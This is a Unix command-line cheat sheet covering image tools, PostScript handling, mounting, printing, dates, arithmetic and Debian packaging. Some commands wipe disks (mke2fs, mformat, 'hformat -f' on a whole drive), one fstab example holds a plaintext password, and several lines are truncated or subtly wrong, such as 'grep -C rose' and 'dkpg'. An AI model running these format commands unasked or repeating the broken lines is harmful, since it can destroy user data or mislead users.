In the preceding example, only those files with image formats supported
by display are read and displayed.
* put the image 'tetra.jpeg' in the root window
>> display -window root tetra.jpeg
Use zgv to view images in a virtual console (not in X). You can use zgv
* browse the images in the current directory
>> zgv
* browse the images in the '/usr/share/gimp/scripts' directory,
type:
>> zgv /usr/share/gimp/scripts
Use the arrow keys to navigate through the file display; the red border
* view the file '/usr/share/images/mondrian-15.jpeg'
file:/usr/share/images/mondrian-15.jpeg
Notice that the given [36]file: URL only has one preceding slash,
pointing to the root directory, and not two, as in [37]http://.
* browse the images on the PhotoCD disc mounted on '/cdrom'
>> xpcd /cdrom
The preceding example will open two new windows -- a small xpcd command
bar window, and a larger window containing thumbnails of all PhotoCD
* view the PhotoCD file 'driveby-001.pcd'
>> xpcd driveby-001.pcd
NOTE: You can also use display to view a '.pcd' PhotoCD image file (see
* resize 'phoenix.jpeg' to 480x320 pixels
>> mogrify -geometry 480x320 phoenix.jpeg
This transforms the original 'phoenix.jpeg' file to:
editing-images-scaling-01
* resize 'phoenix.jpeg' to exactly 480x320 pixels, regardless of
aspect ratio
>> mogrify -geometry 640x480! phoenix.jpeg
This transforms the original 'phoenix.jpeg' to:
* increase the height of 'phoenix.jpeg' by 25 percent and decrease its width by 50 percent
>> mogrify -geometry 125%x50% phoenix.jpeg
* rotate 'phoenix.jpeg', whose height exceeds its width, by 90 degrees
>> mogrify -rotate '90<' phoenix.jpeg
* reduce the colors in 'phoenix.jpeg' to two
>> mogrify -colors 2 phoenix.jpeg
This transforms the original 'phoenix.jpeg' to:
editing-images-colors-01
* reduce the colors in 'phoenix.jpeg' to four and apply
Floyd-Steinberg error diffusion
>> mogrify -colors 4 -dither phoenix.jpeg
This transforms the original 'phoenix.jpeg' to:
* change the colors in the file 'rainbow.jpeg' to those used in
the file 'prism.jpeg'
>> mogrify -map prism.jpeg rainbow.jpeg
Use the '-monochrome' option to make a color image black and white.
* make the color image 'rainbow.jpeg' black and white
>> mogrify -monochrome rainbow.jpeg
If you have a PPM file, use ppmquant to quantize, or reduce to a
specified quantity the colors in the image -- see the ppmquant man page
* set the gamma correction of the image 'rainbow.jpeg' to .8,
type:
>> mogrify -gamma .8 rainbow.jpeg
* annotate the image file 'phoenix.jpeg', type (all on one line):
>> mogrify -comment "If you can read this,
you're too close!" phoenix.jpeg
You won't see the annotation when you view the image; it is added to
* read any comments made in the image file 'phoenix.jpeg'
>> rdjpgcom phoenix.jpeg
If you can read this, you're too close!
* add a border two pixels wide and four pixels high to
'phoenix.jpeg'
>> mogrify -border 2x4 phoenix.jpeg
This transforms the original 'phoenix.jpeg' to:
* add a decorative frame eight pixels wide and eight pixels high
to 'phoenix.jpeg'
>> mogrify -frame 8x8 phoenix.jpeg
This transforms the original 'phoenix.jpeg' to:
* create a montage from the files 'owl.jpeg', `thrush.jpeg', and
'warbler.jpeg' and write it to `endangered-birds.png'
>> montage owl.jpeg thrush.jpeg warbler.jpeg endangered-birds.png
NOTE: In this example, three JPEGs were read and output to a PNG file;
* combine two images, 'ashes.jpeg' and `phoenix.jpeg', into a new
file 'picture.jpeg'
>> combine ashes.jpeg phoenix.jpeg picture.jpeg
You can specify the percentage to blend two images together with the
* combine the image files 'phoenix.jpeg' and `ashes.jpeg' so that
the blended image contains 70 percent of the second image
>> combine -blend 70 ashes.jpeg phoenix.jpeg picture.jpeg
This command combines the two images and writes a new image file,
* make a morphed image of the files 'ashes.jpeg' and
'phoenix.jpeg', and write it to `picture.jpeg'
>> combine -compose difference ashes.jpeg phoenix.jpeg picture.jpeg
The result in file 'picture.jpeg' is:
* convert the JPEG file 'phoenix.jpeg' to a PNG image
>> convert phoenix.jpeg phoenix.png
This command converts the JPEG image 'phoenix.jpeg' to PNG format and
writes it to a new file, 'phoenix.png'.
* convert the PNM file 'pike.pnm' to non-interlaced JPEG while
sharpening the image by 50 percent and adding both a 2x2 border and
a copyright comment
>> convert -interlace NONE -sharpen 50 -border 2x2
* list available scanner devices
>> scanimage --list-devices
device 'umax:/dev/sgb' is a UMAX Astra 1220S flatbed scanner
* list available options supported by the device listed in the
previous example
>> scanimage --help -d 'umax:/dev/sgb'
NOTE: For all scanimage commands, specify the scanner device you want
* test the UMAX scanner listed previously
>> scanimage --test -d 'umax:/dev/sgb'
Debian: 'netpbm'
* make a 72 dpi scan of a color image 200 pixels wide and 100
pixels tall, using the UNIX scanner from previous examples, and
writing to a file called 'scan.ppm'
>> scanimage -d umax:/dev/sgb --resolution 72 -x 200 -y 100 >
* make a 300 dpi scan of a black and white image 180 pixels wide
and 225 pixels tall, using the UMAX scanner from previous examples,
and writing to a file called 'scan.pbm'
>> scanimage -d umax:/dev/sgb --resolution 300 --mode lineart
* extract the highest resolution from the file 'slack.pcd' and
save it to a PPM file named 'slack.ppm'
>> pcdtoppm -r5 slack.pcd slack.ppm
* [37]Converting PhotoCD: Converting PhotoCD images to other formats.
* convert the file 'slack.ppm' to non-interlaced JPEG, sharpen the
image, add a two-pixel by two-pixel border, and annotate the image,
type (all on one line):
>> convert -interlace NONE -sharpen 50 -border 2x2 -comment
* remove the "green haze" from a PhotoCD image, do the following:
+ First, open the extracted image in the GIMP (see [44]Editing
Images with the GIMP).
+ Then, click through the Image menu to the Colors submenu and
* extract only the first page from the file 'abstract.dvi' and
send the PostScript output to the printer
>> dvips -pp1 abstract.dvi
By default, dvips will output to the printer; to save the PostScript
* output as PostScript the pages 137 to 146 of the file
'abstract.dvi' to the file `abstract.ps'
>> dvips -pp137-146 -o abstract.ps abstract.dvi
* select the first ten pages, page 104, pages 23 through 28, and
page 2 from the file 'newsletter.ps' and write it to the file
'selection.ps'
>> psselect -p1-10,104,23-28,2 newsletter.ps selection.ps
* select the second-to-last through the tenth-to-last pages from
the PostScript file 'newsletter.ps' and output them to the file
'selection.ps'
>> psselect -p_2-_10 newsletter.ps selection.ps
* select the second-to-last through the tenth pages from the
PostScript file 'newsletter.ps' and output them to the file
'selection.ps'
>> psselect -p_2-10 newsletter.ps selection.ps
* select all of the even pages in the file 'newsletter.ps' and
write them to a new file, 'even.ps'
>> psselect -e newsletter.ps even.ps
* select all of the odd pages in the file 'newsletter.ps' and
write them to a new file, 'odd.ps'
>> psselect -o newsletter.ps odd.ps
Use an underscore ('_') alone to insert a blank page, and use `-r' to
* select the last ten pages of file 'newsletter.ps', followed by a
blank page, followed by the first ten pages, and output them to a
new file, 'selection.ps'
>> psselect -p_1-_10,_,1-10 newsletter.ps selection.ps
* select the pages 59, 79, and 99 in the file 'newsletter.ps', and
output them in reverse order (with the 99th page first) to a new
file, 'selection.ps'
>> psselect -p59,79,99 -r newsletter.ps selection.ps
* make a new PostScript file, 'double.ps', putting two pages from
the file 'single.ps' on each page
>> psnup -2 single.ps double.ps
To specify the paper size, give the name of a standard paper size as an
* rearrange the pages of file 'newsletter.ps' into a signature and
write it to the file 'newsletter.bound.ps'
>> psbook newsletter.ps newsletter.bound.ps
By default, psbook uses one signature for the entire file. If the file
* rearrange the pages of file 'newsletter.ps' into an eight-sided
signature and write it to 'newsletter.bound.ps'
>> psbook -s8 newsletter.ps newsletter.bound.ps
* resize the PostScript file 'double.ps' to US letter-sized paper,
writing output to a new file, 'doublet.ps'
>> psresize -pletter double.ps doublet.ps
* merge the files 'slide1.ps', `slide2.ps', and `slide3.ps' into a
new PostScript file, 'slideshow.ps'
>> psmerge -oslideshow.ps slide1.ps slide2.ps slide3.ps
NOTE: As of this writing, psmerge only works with PostScript files that
* make a booklet from the file 'newsletter.ps':
1. Rearrange the pages into a signature:
>> psbook newsletter.ps newsletter.signature.ps
2. Put the pages two to a page in landscape orientation, at 70
* make a double-sized booklet on letter-sized paper in landscape
orientation, from a file using letter-sized portrait orientation,
type:
>> psbook input.ps > temp1.ps
* make a text file, 'sutra.txt', from the input file `sutra.ps', type:
>> ps2ascii sutra.ps sutra.txt
* see how much free space is left on the system's disks
>> df
* output the disk usage for the folder tree whose root is the current directory
>> du
* output the disk usage, in kilobytes, of the '/usr/local' directory tree
>> du -k /usr/local
* show the number of megabytes used by the file '/tmp/cache'
>> du -m /tmp/cache
* output only the total disk usage of the '/usr/local' directory tree
>> du -s /usr/local
* output only the total disk usage, in kilobytes, of the '/usr/local' folder tree
>> du -s -k /usr/local
* format a floppy disk in the first removable floppy drive
>> mke2fs /dev/fd0
MOUNTING AND UNMOUNTING MEDIA
In order for a some piece of media to be used in Linux it
normally needs to be 'mounted' or 'unmounted'
* mount a floppy
>> mount /floppy
* mount the floppy in the first floppy drive to '~/tmp'
>> mount /dev/fd0 ~/tmp
Once you have mounted a floppy, its contents appear in the directory
you specify, and you can use any file command on them.
* list the contents of the base directory of the floppy mounted on '/floppy'
>> ls /floppy
* list the contents of the whole folder tree on the floppy mounted on '/floppy'
>> ls -lR /floppy
* umount the floppy that is mounted on '/floppy'
>> umount /floppy ##(you cant unmount if you are in the mounted folder)
* mount a CD-ROM on the system
>> mount /cdrom ##(the contents are then available at '/cdrom/')
* mount the disc in the CD-ROM drive to the '/usr/local/share/clipart' directory
>> mount /dev/cdrom /usr/local/share/clipart
* peruse a directory tree graph of the CD-ROM's contents
>> tree /usr/local/share/clipart | less
* change to the root directory of the CD-ROM
>> cd /usr/local/share/clipart
* list the contents of the root directory of the CD-ROM
>> ls /usr/local/share/clipart
* unmount the disc in the CD-ROM drive mounted on '/cdrom'
>> umount /cdrom ##(if files are in use, it may be impossible to unmount)
PRINTING
* print the file 'invoice'
>> lpr invoice
* type a message with banner and send it to the printer
>> banner "Bon voyage!" | lpr
* print a verbose, recursive listing of the '/usr/doc/HOWTO' directory
>> ls -lR /usr/doc/HOWTO | lpr
* send the file 'nightly-report' to the printer called bossomatic, type:
>> lpr -P bossomatic nightly-report
* print a dozen copies of the file 'nightly-report'
>> lpr -#12 nightly-report
PRINTING QUEUES ....
* view the spool queue for the default printer
>> lpq
* view the spool queue for the printer called bossomatic
>> lpq -P bossomatic
* list the print jobs for user harpo
>> lpq harpo
CANCELING PRINT JOBS ....
* cancel print job 83
>> lprm 83
* cancel all of your print jobs, but already spooled pages still print
>> lprm -
* print the current buffer with page numbers and headers
>> M-x print-buffer
* print the current buffer with no additional print formatting done to the text
>> M-x lpr-buffer
* print a PostScript image of the current buffer
>> M-x ps-print-buffer
* print the DVI file 'list.dvi'
>> dvips list.dvi
* print the file 'envelope.dvi' on an envelope loaded in the manual feed tray of the default printer
>> dvips -m -t landscape envelope.dvi
* list the available printer formats
>> gs -?
GNU Ghostscript 5.10 (1998-12-17)
...more output messages...
* convert the file 'tiger.ps' to a format suitable for printing on an HP Color DeskJet 500 printer
>> gs -sDEVICE=cdj500 -sOutputFile=tiger.dj -dSAFER -dNOPAUSE
tiger.ps < /dev/null
* convert the file 'abstract.dvi' to PostScript
>> dvips -o abstract.ps abstract.dvi
This command reads the DVI file 'abstract.dvi' and writes a PostScript
version of it to the file 'abstract.ps'; the original file is not
* output only pages 14 and 36 from file 'abstract.dvi' to a
PostScript file, 'abstract.ps'
>> dvips -pp14,36 -o abstract.ps abstract.dvi
* output pages 2 through 100 from file 'abstract.dvi' to a
PostScript file, 'abstract.ps'
>> dvips -pp2-100 -o abstract.ps abstract.dvi
* output page 1 and pages 5 through 20 from file 'abstract.dvi' to
a PostScript file, 'abstract.ps'
>> dvips -pp1,5-20 -o abstract.ps abstract.dvi
* output the file 'abstract.dvi' as a PostScript file,
'abstract.ps', with a paper size of `legal'
>> dvips -t legal -o abstract.ps abstract.dvi
* print the file 'abstract.dvi' to the default printer in landscape mode
>> dvips -t landscape abstract.dvi
* generate a PDF file from the DVI file 'abstract.dvi'
>> dvips -Ppdf -o abstract.pdf abstract.dvi
This command writes a new file, 'abstract.pdf', in PDF format.
* convert the PDF file 'pricelist.pdf'
>> pdf2ps pricelist.pdf pricelist.ps
* output the man page for psbook as PostScript and send it as a print job to the default printer
>> man -t psbook | lpr
* output the man page for psbook to the file 'psbook.ps'
>> man -t psbook > psbook.ps
In the preceding example, you can then use gs to convert the file to a
format your non-PostScript printer understands (see [54]Preparing a
* get a directory listing of the DOS disk currently in the primary floppy drive
>> mdir a:
* copy the file 'readme.txt' to the DOS disk in the primary floppy drive
>> mcopy readme.txt a:
* copy all of the files and directories from the DOS disk in the primary floppy drive to the current directory
>> mcopy a:
* delete the file 'resume.doc' on the DOS disk in the primary
floppy drive
>> mdel a:resume.doc
* format the floppy disk in the primary floppy drive so that it can be used with MS-DOS
>> mformat a:
* introduce the floppy disk in the first floppy drive as an HFS volume for the 'hfsutils'
>> hmount /dev/fd0
After you run this command, the other tools in the hfsutils package
* get a directory listing of the currently specified Macintosh disk
>> hls
Give the name of a directory as a quoted argument.
* get a directory listing of the 'Desktop Folder' directory in the currently specified Macintosh disk
>> hls 'Desktop Folder'
* copy the file 'readme.txt' to the `Desktop Folder' directory in the current Mac disk
>> hcopy readme.txt 'Desktop Folder'
* copy the file 'Desktop Folder:Readme' from the current Mac disk
to the current directory
>> hcopy 'Desktop Folder:Readme' .
* delete the file 'Desktop Folder:Readme' on the current Mac disk,
type:
>> hdel 'Desktop Folder:Readme'
* format the disk in the first floppy drive with a Macintosh HFS filesystem
>> hformat /dev/fd0
* format the disk in the second floppy drive with a Mac HFS filesystem, giving it a volume label of 'Work Disk'
>> hformat -l 'Work Disk' /dev/fd1
* format the second partition of the SCSI disk at '/dev/sd2' with a Mac HFS filesystem
>> hformat /dev/sd2 2
* format the entire SCSI disk at '/dev/sd2' with a Mac HFS filesystem, overwriting any existing Mac filesystem and giving it a label of 'Joe's Work Disk'
>> hformat -f -l "Joe's Work Disk" /dev/sd2 0 ##(Dangerous!!)
TIMES AND DATES
* Convert UNIX time to human readable date
>> awk 'BEGIN{print strftime("%c",1238387636)}'
* get time in other timezones
>> let utime=$offsetutc*3600+$(date --utc +%s)+3600; date --utc --date=@${utime}
* print scalar gmtime
>> perl -e "print scalar(gmtime(1247848584))"
* show a calender in english
>> LC_TIME=c cal -y
* show what time it is in new york
>> TZ=America/New_York date
* Display a cool clock on your terminal
>> watch -t -n1 "date +%T|figlet"
* show the date in the german language
>> LC_TIME=de_DE.utf8 date
* show what time zones are availabel
>> ls /usr/share/zoneinfo/
* advance the clock by 3 minutes
>> date -s '+3 mins'
* set the hardware clock
>> hwclock
* network time server
>> ntp
* The end of time
>> date -ud @$[2**31-1]
* When was your OS installed?
>> ls -lct /etc | tail -1 | awk '{print $6, $7}'
* Add a Clock to Your CLI
>> export PS1="${PS1%\\\$*}"' \t \$ '
* Binary Clock
>> watch -n 1 'echo "obase=2;`date +%s`" | bc'
* Unix time to local time
>> date -R -d @1234567890
* set the system date
>> rdate -s time-A.timefreq.bldrdoc.gov
DATE AND TIME OFFSETS ....
An date offset is something like '2 days ago' or 'tomorrow'.
* retrieve GMT time from websites ( generally accruate )
>> w3m -dump_head www.fiat.com | awk '/Date+/{print $6, $7}'
* Get the time from NIST.GOV
>> cat </dev/tcp/time.nist.gov/13
* print the date 14 days ago.
>> date --date="1 fortnight ago"
>> date -d "1 fortnight ago" ##(the same)
* print date 24 hours ago
>> date --date=yesterday
* Get yesterday's date or a previous time
>> date -d '1 day ago'; date -d '11 hour ago'; date -d '2 hour ago - 3 minute'; date -d '16 hour'
TIMEZONES ....
* show the time in various timezones
>> gworldclock
* show the time in other timezones
>> tzwatch
* print the time and date in the 'Indian/Maldives' timezone
>> TZ=Indian/Maldives date
UNIX TIME ....
Unix time is a number which represent the number of seconds since 1970-01-01
00:00:00 UTC
* Easily decode unix-time (function)
>> utime(){ perl -e "print localtime($1).\"\n\"";}
* show the number of seconds since 1970
>> date +%s
* Unix alias for date command that lets you create timestamps
>> alias timestamp='date "+%Y%m%dT%H%M%S"'
CONVERT TO UNIX TIME ....
It can be useful to convert to unix-time when arithmetic needs to be performed
on dates or times, or when dates need to be sorted. The 'date' command does a
very good job of parsing diverse date strings (such as feb 7 2009 or
01/11/2001) with its '-d' option, but it has its limitations
* convert a date string to the number of seconds since 1970
>> date -d "Sat Feb 7 00:37:06 EST 2009" +%s
* convert tomorrows date (midnight, I suppose) into unix-time
>> date -d'tomorrow' +%s ##(prints something like '1264168894')
* convert the date 'february 7, 2009' into unix-time
>> date -d "Sat Feb 7 00:00:00 EST 2009" +%s
>> date -d "feb 7 2009" +%s
>> date -d "7 feb 2009" +%s ##(the same)
>> date -d "february 7 2009" +%s ##(the same)
>> date -d "7/2/2009" +%s ##(the same, expects mm/dd/yyyy)
>> date -d "7/2/09" +%s ##(the same)
* these formats do NOT work (gnu date version 7.4)
>> date -d "feb/7/2009" +%s ##(NO!! doesnt work, at least for me)
>> date -d "7/feb/2009" +%s ##(Nor does this work!)
>> date -d "feb 2009" +%s ##(Nor does this work!)
* convert the date 'Dec 11 01:25:00 2008' to a unix time value
>> perl -e 'use Time::Local; print timelocal(0,25,1,11,11,2008), "\n";'
##(should print '1228919100')
CONVERT FROM UNIX TIME ....
* convert unix time (seconds since 1970) to something human readable
>> date -d @1234567890
* convert unix-time (seconds since 1970) to something more human-readable
>> perl -e 'print scalar(gmtime(1234567890)), "\n"'
* convert unix-time to human-readable with awk
>> echo 1234567890 | awk '{ print strftime("%c", $0); }'
CALENDARS ....
* output a calendar for the current month
>> cal
* output a calendar for the year 2001
>> cal 2001
* output a calendar for the current year
>> cal -y
* output a calendar for June 1991
>> cal 06 1991
* Printing multiple years with Unix cal command
>> for y in $(seq 2009 2011); do cal $y; done
* Show this month's calendar, with today's date highlighted
>> cal | grep --before-context 6 --after-context 6 --color -e " $(date +%e)" -e "^$(date +%e)"
* Show the date of easter
>> ncal -e
* Display holidays in UK/England for 2009 (with week numbers)
>> gcal -K -q GB_EN 2009
CLOCKS ....
* Display clock in terminal
>> watch -n 1 :
* StopWatch, simple text, hh:mm:ss using Unix Time
>> export I=$(date +%s); watch -t -n 1 'T=$(date +%s);E=$(($T-$I));hours=$((E / 3600)) ; seconds=$((E % 3600)) ; minutes=$((seconds / 60)) ; seconds=$((seconds % 60)) ; echo $(printf "%02d:%02d:%02d" $hours $minutes $seconds)'
DATES ....
* output the current system date and time
>> date ##(prints 'Fri May 11 11:10:29 EDT 2001')
* output the current date and time in UTC
>> date -u ##(prints 'Fri May 11 15:10:29 UTC 2001')
* output the current date and time in RFC822 format
>> date -R ##(prints 'Fri, 11 May 2001 11:10:29 -0400' for example)
* output the numeric day of the year that 21 June falls on in the current year
>> date -d '21 Jun' +%j ##(may print '172' for example)
* hear the current system time
>> saytime ##(its possible to substitute the default voice)
* perl one-liner to get the current week number
>> date +%V
* add the new entry in the file 'crontab' to the cron schedule,
>> crontab
* output the several lines around each line matching the text 'rose'
>> grep -C rose file.txt
* remind yourself to leave at 8:05 p.m.
>> leave 2005
* ring the bell in five seconds
>> sleep 5; echo -e '\a'
* announce the time in thirty seconds
>> sleep 30; saytime
* announce the time in exactly five minutes
>> sleep 5m; saytime &
ARITHMETIC AND NUMBERS
* hexadecimal2decimal
>> printf "%d\n" \0x64
* floating point operations in shell scripts
>> echo "5 k 3 5 / p" | dc
* formatting number with comma
>> printf "%'d\n" 1234567
* output the result of 50 times 10
>> calc 50*10 ##(prints '500')
* output the result of 100 times the sum of 4 plus 420
>> calc '100*(4+420)' ##(prints '42400')
* output the remainder of 10 divided by 3
>> calc 10%3 ##(prints '1')
* use bc to compute the result of 10 divided by 3, using 20 digits after the decimal point
>> bc
* Count to 65535 in binary (for no apparent reason)
>> a=`printf "%*s" 16`;b=${a//?/{0..1\}}; echo `eval "echo $b"`
BC THE BINARY CALCULATOR ....
* start the bc binary calculator in interactive mode
>> bc
* assign values to variables in bc and print the sum of 2 variables
>> a=4; b=7; a+b ##(prints '11' on a new line)
* raise 4 to the power of 3 and multiply the result by 10
>> 4^3; .*10 ##(you can use the '.' to access the last result)
* set the number of decimal places shown to 4 and compute 112 divided by 111
>> scale=4; 112/111; ##(this prints '1.0090' on a new line)
* set the number of decimal places show to 10
>> scale=10
* multiply the variable 'a' by 4
>> a*=4
* Floating point power p of x
>> bc -l <<< "x=2; p=0.5; e(l(x)*p)"
RANDOM NUMBERS ....
see: jot
* lotto generator
>> shuf -i 1-49 | head -n6 | sort -n| xargs
* Outputs a 10-digit random number
>> echo $RANDOM$RANDOM$RANDOM |cut -c3-12
* Outputs a 10-digit random number
>> head -c10 <(echo $RANDOM$RANDOM$RANDOM)
* Outputs a 10-digit random number
>> head -c4 /dev/urandom | od -N4 -tu4 | sed -ne '1s/.* //p'
* Display rows and columns of random numbers with awk
>> seq 6 | awk '{for(x=1; x<=5; x++) {printf ("%f ", rand())}; printf ("\n")}'
* Print a random 8 digit number
>> jot -r -n 8 0 9 | rs -g 0
* Print a random 8 digit number
>> jot -s '' -r -n 8 0 9
* Random number generation within a range N, here N=10
>> echo $(( $RANDOM % 10 + 1 ))
* output a random number from 0 to 9
>> random 10
* Outputs a 10-digit random number
>> tr -c -d 0-9 < /dev/urandom | head -c 10
* Printable random characters
>> tr -dc '[:print:]' < /dev/urandom
* a random number guessing game
>> A=1;B=100;X=0;C=0;N=$[$RANDOM%$B+1];until [ $X -eq $N ];do read -p "N between $A and $B. Guess? " X;C=$(($C+1));A=$(($X<$N?$X:$A));B=$(($X>$N?$X:$B));done;echo "Took you $C tries, Einstein";
* sort the lines of a file in a random way
>> cat test.txt | while read f ; do printf "$RANDOM\t%s\n" "$f"; done | sort -n | cut -f2-
* print a random number with printf
>> printf "$RANDOM %s\n" number
SEQUENCES ....
* output the sequence of numbers from one to seven
>> seq 7
* output the sequence of numbers from one to negative seven
>> seq -7
* output the sequence of numbers from nine to zero
>> seq 9 0
* output the sequence of numbers from negative one to negative twenty
>> seq -1 -20
* output the sequence of numbers from -1 to 14, incrementing by 3,
>> seq -1 3 14
* output from 9 to 999, stepping by 23, with numbers padded with zeros
>> seq -w 9 23 999 ##(all numbers will have an equal 'width')
* output the sequence of numbers from 1 to 23, with a space character between each
>> seq -s ' ' 1 23
* concatenate all the files in this folder, whose names are numbers 25 to 75, into a new file called 'selected-mail'
>> cat $(seq -s " " 25 75) > selected-mail
* output the prime factors of 2000
>> factor 2000 ##(prints '2000: 2 2 2 2 5 5 5')
* output the number of ounces in 50 grams
>> units '50 grams' 'ounces'
* 1.7636981
/ 0.56699046
,,,
* determine the location of the units database
>> units -V
units version 1.55 with readline, units database in
/usr/share/misc/units.dat
* output the English text equivalent of 100,000
>> number 100000
MATHEMATICS
* Find out how to say the first 66 digits of pi as a word
>> pi 66 | number
* Fibonacci numbers with awk
>> awk 'BEGIN {a=1;b=1;for(i=0;i<'${NUM}';i++){print a;c=a+b;a=b;b=c}}'
* Fibonacci numbers with sh
>> prev=0;next=1;echo $prev;while(true);do echo $next;sum=$(($prev+$next));prev=$next;next=$sum;sleep 1;done
* A handy mathematical calculator
>> bc
* Draw a Sierpinski triangle
>> perl -e 'print "P1\n256 256\n", map {$_&($_>>8)?1:0} (0..0xffff)' | display
WEATHER
* get Hong Kong weather infomation from HK Observatory
>> wget -q -O - 'http://wap.weather.gov.hk/' | sed -r 's/<[^>]+>//g;/^UV/q' | grep -v '^$'
* check the weather
>> ZIP=48104; curl http://thefuckingweather.com/?zipcode=$ZIP 2>/dev/null|grep -A1 'div class="large"'|tr '\n' ' '|sed 's/^.*"large" >\(..\)/\1/;s/&d.* <br \/>/ - /;s/<br \/>//;s/<\/div.*$//'
* Show current weather for any US city or zipcode
>> weather() { lynx -dump "http://mobile.weather.gov/port_zh.php?inputstring=$*" | sed 's/^ *//;/ror has occ/q;2h;/__/!{x;s/\n.*//;x;H;d};x;s/\n/ -- /;q';}
MONEY
* Get Dollar-Euro exchage rate
>> curl -s wap.kitco.com/exrate.wml | awk ' BEGIN { x=0; FS = "<" } { if ($0~"^<br/>") {x=0} if (x==1) {print $1} if ($0~"EUR/US") {x=1} }'
SCIENCE
* Mirror the NASA Astronomy Picture of the Day Archive
>> wget -t inf -k -r -l 3 -p -m http://apod.nasa.gov/apod/archivepix.html
* View the latest astronomy picture of the day from NASA.
>> apod(){ local x=http://antwrp.gsfc.nasa.gov/apod/;feh $x$(curl -s ${x}astropix.html|grep -Pom1 'image/\d+/.*\.\w+');}
* Real time satellite weather wallpaper
>> curl http://www.cpa.unicamp.br/imagens/satelite/ult.gif | xli -onroot -fill stdin
GEOGRAPHY ....
* find geographical location of an ip address
>> lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|grep address|egrep 'city|state|country'|awk '{print $3,$4,$5,$6,$7,$8}'|sed 's\ip address flag \\'|sed 's\My\\'
* find geographical location of an ip address
>> lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|sed -nr s/'^.*My IP address city: (.+)$/\1/p'
* geoip lookup, the geographical location of an ip address
>> geoip(){curl -s "http://www.geody.com/geoip.php?ip=${1}" | sed '/^IP:/!d;s/<[^>][^>]*>//g' ;}
GPS GLOBAL POSITIONING SYSTEM ....
* send a .loc file to a garmin gps over usb
>> gpsbabel -D 0 -i geo -f "/path/to/.loc" -o garmin -F usb:
SHUTTING DOWN THE COMPUTER
* immediately shut down and halt the system
>> shutdown -h now
* immediately shutdown the system, and then reboot
>> shutdown -r now
* immediately shut down and halt the system, sending a warning to all users
>> shutdown -h now "The system is being shut down now!"
* shut down and then reboot the system at 4:23 a.m.
>> shutdown -r 4:23
* shut down and halt the system at 8:00 p.m.
>> shutdown -h 20:00
* shut down and halt the system in five minutes
>> shutdown -h +5
* shut down and halt the system at midnight, and warn all logged-in users
>> shutdown -h 00:00 "The system is going down for maintenance at midnight"
* cancel any pending shutdown
>> shutdown -c
* cancel any pending shutdown and send a message to all logged in users
>> shutdown -c "Sorry, I hit the wrong key!"
* find out where perl is installed on your system
>> which perl
* create a new user with a username of bucky
>> adduser bucky ##(By default, the user's home directory will be their name)
* add the user doug to the audio group
>> addgroup doug audio
* find out how long the system has been up
>> uptime
##(prints 3:34pm up 4:31, 4 users, load average: 0.01, 0.05, 0.07)
* output a list of times when the system was rebooted
>> last reboot
* output the name of the operating system
>> uname
* output the release number of the operating system
>> uname -r
* output the CPU processor type of the system
>> uname -m
* output all of the uname information for the system you are on,
>> uname -a
* output the release name of the Debian system you are on
>> cat /etc/debian_version
Debian releases have historically been named after characters
from the motion picture Toy Story.
MICROSOFT WINDOWS
* Change Windows Domain password from Linux
>> smbpasswd -r <domain-server> -U <user name>
* Use Cygwin to talk to the Windows clipboard
>> cat /dev/clipboard; $(somecommand) > /dev/clipboard
* Mount a Windows share on the local network (Ubuntu) with user
>> sudo mount -t cifs -o user,username="samba username"
* automount samba shares as devices in /mnt/
>> sudo vi /etc/fstab; Go//smb-share/gino /mnt/place smbfs defaults,username=gino,password=pass 0 0<esc>:wq; mount //smb-share/gino
MISCELANEOUS
MAKING A SIMPLE DEBIAN PACKAGE ....
The following is a procedure for creating a debian package.
* create a 'debian/usr/bin' folder and copy the executable there
>> mkdir -p ./debian/usr/bin; cp someprogram ./debian/usr/bin
* create a man page for the program
>> vim someprogram.1
##(this is an optional step)
* create a man page folder and copy the man page there,
>> mkdir -p ./debian/usr/share/man/man1
>> cp ./man/man1/someprogram.1 ./debian/usr/share/man/man1
* compress the man page with gzip (an option step)
* create a copyright file to include in the package
>> find /usr/share/doc -name "copyright" ##(see examples of copyright files)
* create a folder for the copyright file and copy the file there
>> mkdir -p ./debian/usr/share/doc/someprogram; ...
>> cp ./copyright ./debian/usr/share/doc/someprogram
* find out the dependencies of all programs which your program uses
>> dkpg -S /bin/cat ##(this will display 'coreutils: /bin/cat)
* find out the version numbers of dependencies
>> apt-cache showpkg coreutils
##(this information is needed for the 'Dependencies' field of the control file)
make a control file..
----------------------
Package: someprogram
Version: 1.1-1
Section: base
Priority: optional
Architecture: all
Depends: bash (>= 2.05a-11), textutils (>= 2.0-12), awk, procps (>= \
1:2.0.7-8), sed (>= 3.02-8), grep (>= 2.4.2-3), coreutils (>= 5.0-5)
Maintainer: James Tree <james@tree.org>
Description: parses a text stream
This script parses a text stream using a stack virtual machine
,,,
* copy the control file to the 'DEBIAN' folder
>> mkdir -p debian/DEBIAN; cp control debian/DEBIAN
##(on some debians: find ./debian -type d | xargs chmod 755)
* make a change log file (an optional step)
-------------------------------------------
xlinuxstatus (1.2-1)
* Made Debian package lintian clean.
-- James Tree <james@tree.org> 2002-12-13
,,,
* make a changelog.Debian file (optional)
-----------------------------------------
linuxstatus Debian maintainer and upstream author are identical.
Therefore see also normal changelog file for Debian changes.
,,,
* create and rename the package file
>> dpkg-deb --build debian; mv debian.deb someprogram_1.1-1_all.deb
##(or build as root 'fakeroot dpkg-deb --build debian')
* install the newly created package
>> dpkg -i ./someprogram_1.1-1_all.deb
* remove the installed package
>> dpkg -r someprogram
=;
UNIX PROGRAM NAMING ....
The names for Unix programs appear cryptic and seem to have no relation to
their function. However there is usually an explanation for the name. Unix
commands are traditionally very short to save typing.
== Some Unix names explained
.. unix, a pun on the <mul>tics operating system
.. linux, <linu>s torvalds version of the uni<x> operating system
.. cat, con<cat>enate files, display all mentioned files
.. less, is a successor to the 'more' program, a file page
.. sed, <s>tream <ed>itor
.. grep, <g>lobal <r>egular <e>x<p>ression search,
.. ed, <ed>itor
.. vi, <vi>sual editor
.. vim, <v>isual editor <im>proved
.. emacs, <e>diting <mac>ro<s>
.. wc, <w>ord <c>ount
.. tar, write to a <t>ape <ar>chive
.. ls, <l>i<s>t files,
.. troff, <t>ypesetting <r>un <off> system, formats documents
.. groff, <g>nu version of the <r>un <off> system
.. perl, <p>ractical <e>xtraction and <r>reporting <l>anguage
.. awk, text processing language by <A>ho, <W>einberger, and <K>ernighan
.. cd, <c>hange <d>irectory
.. gcc, <g>nu <c> <c>ompiler
.. wget, <w>eb <get>ter
.. curl, <c>apture <url>
.. scp, <s>ecure <c>opy <p>rogram
..
CURIOSITIES ....
